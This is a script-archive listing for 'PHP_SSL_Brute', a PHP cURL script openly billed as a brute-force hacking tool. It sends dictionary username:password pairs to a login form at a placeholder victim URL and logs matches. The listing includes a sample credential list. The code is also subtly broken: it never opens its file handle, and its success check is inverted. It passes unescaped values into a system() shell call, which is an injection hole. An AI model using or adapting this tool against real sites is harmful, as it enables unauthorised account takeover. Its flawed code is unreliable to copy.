Version: 1.0
Type: Full Script
Category: Networking
License: GNU Library Public License
Description: PHP_SSL_Brute - PHP BruteForce Hacking Script , This is an example to use php with cURL Lib,Cut and save into 3 files :-)
<?
//php-ssl-hack.php(1)
/* PHP_SSL_Brute - PHP BruteForce Hacking Script.
*
* This is free software. You can redistribute it and/or modify under
* the terms of the GNU General Public License version 2.
*
* Copyright (C) 2000 By Dejchai Srihakim , dejchai@hotmail.com
*
* DISCLAIMER
* ----------
* Authors are not responsible of any damages this software can cause.
*
* READ FIRST
* ----------
* Please make sure you KNOW what you are doing before using PHP_SSL_Brute.
* It is recommended that you should test how it behaves on some test
* connections and then use it wisely.
*
* INSTALLATION
* ----------
* -You need cURL Lib Compile With PHP (http://curl.haxx.se/download.html).
* -"dic_file.txt" ,Dic file.
* -"out.txt" ,Hacked Account and Password.
*
*/
$account="dic_file.txt";
$row=1;
while($data=fgetcsv($fp,3000,":")){
$num = count($data);
$login=$data[0];
$password=$data[1];
include "curl_hack.inc";
$row++;
}
fclose($fp);
?>
<?
//curl_hack.inc (2)
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://<victim url>");
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch,CURLOPT_POSTFIELDS,"username=$login&userpass=$password");
/*
Name of text box in the fields of user and password , you can easily to find in .html source file from web browser.
*/
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close ($ch);
if(preg_match("/<page parameter></page>/", "$result" )){}
if(preg_match("/Welcome/", "$result" )){} // You can put more than one checking parameter //
else{
system("echo \"$login-$password\" >> out.txt ");
}
?>
dic_file.txt(3)
===Cut Here===
big:big
paul:paul
root:root
test:test
===Cut Here===